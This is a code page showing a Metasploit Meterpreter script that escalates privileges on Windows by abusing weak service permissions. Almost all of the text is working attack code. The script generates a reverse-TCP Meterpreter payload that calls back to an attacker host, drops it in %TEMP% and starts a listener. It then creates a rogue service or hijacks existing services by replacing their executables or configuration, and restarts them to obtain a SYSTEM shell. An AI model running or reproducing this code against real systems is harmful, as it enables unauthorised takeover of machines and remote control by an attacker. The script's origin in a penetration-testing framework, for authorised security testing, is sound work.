Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/scripts/meterpreter/service_permissions_escalate.rb
Views: 11767
##1# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.2# If you'd like to improve this script, please try to port it as a post3# module instead. Thank you.4##567##8# Many services are configured with insecure permissions. This9# script attempts to create a service, then searches through a list of10# existing services to look for insecure file or configuration11# permissions that will let it replace the executable with a payload.12# It will then attempt to restart the replaced service to run the13# payload. If that fails, the next time the service is started (such as14# on reboot) the attacker will gain elevated privileges.15#16# scriptjunkie googlemail com17#18##1920if client.platform !~ /win32/21print_error("This version of Meterpreter is not supported with this Script!")22raise Rex::Script::Completed23end24#25# Options26#27opts = Rex::Parser::Arguments.new(28"-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"],29"-h" => [ false, "This help menu"],30"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],31"-p" => [ true, "The port on the remote host where Metasploit is listening"]32)3334#35# Default parameters36#3738rhost = Rex::Socket.source_address("1.2.3.4")39rport = 444440aggressive = false4142#43# Option parsing44#45opts.parse(args) do |opt, idx, val|46case opt47when "-a"48aggressive = true49when "-h"50print_status("Generic weak service permissions privilege escalation.")51print_line(opts.usage)52raise Rex::Script::Completed53when "-r"54rhost = val55when "-p"56rport = val.to_i57end58end5960envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT')61tempdir = envs['TEMP']62sysdir = envs['SYSTEMROOT']6364# Get the exe payload.65pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")66pay.datastore['LHOST'] = rhost67pay.datastore['LPORT'] = rport68raw = pay.generate69exe = Msf::Util::EXE.to_win32pe(client.framework, raw)70#and placing it on the target in %TEMP%71tempexename = Rex::Text.rand_text_alpha((rand(8)+6))72tempexe = "#{tempdir}\\#{tempexename}.exe"73print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")74fd = client.fs.file.new(tempexe, "wb")75fd.write(exe)76fd.close7778#get handler to be ready79handler = client.framework.exploits.create("multi/handler")80handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"81handler.datastore['LHOST'] = rhost82handler.datastore['LPORT'] = rport83handler.datastore['InitialAutoRunScript'] = "migrate -f"84handler.datastore['ExitOnSession'] = false85#start a handler to be ready86handler.exploit_simple(87'Payload' => handler.datastore['PAYLOAD'],88'RunAsJob' => true89)9091#attempt to make new service92client.railgun.kernel32.LoadLibraryA("advapi32.dll")93client.railgun.get_dll('advapi32')94client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[95[ "DWORD", "hService", "in" ]96])9798#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config99100print_status("Trying to add a new service...")101adv = client.railgun.advapi32102manag = adv.OpenSCManagerA(nil,nil,0x10013)103if(manag["return"] != 0)104# SC_MANAGER_CREATE_SERVICE = 0x0002105newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)106#SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010107#SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0108if(newservice["return"] != 0)109print_status("Created service... #{newservice["return"]}")110ret = adv.StartServiceA(newservice["return"], 0, nil)111print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")112service_delete("walservice")113adv.CloseServiceHandle(newservice["return"])114if aggressive == false115adv.CloseServiceHandle(manag["return"])116raise Rex::Script::Completed117end118else119print_status("Uhoh. service creation failed, but we should have the permissions. :-(")120end121else122print_status("No privs to create a service...")123manag = adv.OpenSCManagerA(nil,nil,1)124if(manag["return"] == 0)125print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")126end127end128print_status("Trying to find weak permissions in existing services..")129#Search through list of services to find weak permissions, whether file or config130serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"131#for each service132service_list.each do |serv|133begin134srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s135if srvtype != "16"136continue137end138moved = false139configed = false140#default path, but there should be an ImagePath registry key141source = "#{sysdir}\\system32\\#{serv}.exe"142#get path to exe; parse out quotes and arguments143sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s144sourcemaybe = client.fs.file.expand_path(sourceorig)145if( sourcemaybe[0] == '"' )146sourcemaybe = sourcemaybe.split('"')[1]147else148sourcemaybe = sourcemaybe.split(' ')[0]149end150begin151client.fs.file.stat(sourcemaybe) #check if it really exists152source = sourcemaybe153rescue154print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")155end156#try to exploit weak file permissions157if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])158client.railgun.kernel32.CopyFileA(tempexe, source, false)159print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.")160moved = true161end162#try to exploit weak config permissions163#open with SERVICE_CHANGE_CONFIG (0x0002)164servhandleret = adv.OpenServiceA(manag["return"],serv,2)165if(servhandleret["return"] != 0)166#SERVICE_NO_CHANGE is 0xFFFFFFFF167if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))168print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")169configed = true170end171adv.CloseServiceHandle(servhandleret["return"])172173end174if(moved != true && configed != true)175print_status("No exploitable weak permissions found on #{serv}")176continue177end178print_status("Restarting #{serv}")179#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)180servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)181if(servhandleret["return"] != 0)182#SERVICE_CONTROL_STOP = 0x00000001183if(adv.ControlService(servhandleret["return"],1,56))184client.railgun.kernel32.Sleep(1000)185adv.StartServiceA(servhandleret["return"],0,nil)186print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")187#Cleanup188if moved == true189client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)190end191if configed == true192servhandleret = adv.OpenServiceA(manag["return"],serv,2)193adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)194adv.CloseServiceHandle(servhandleret["return"])195end196if aggressive == false197raise Rex::Script::Completed198end199else200print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")201end202adv.CloseServiceHandle(servhandleret["return"])203else204print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")205end206rescue207end208end209210211212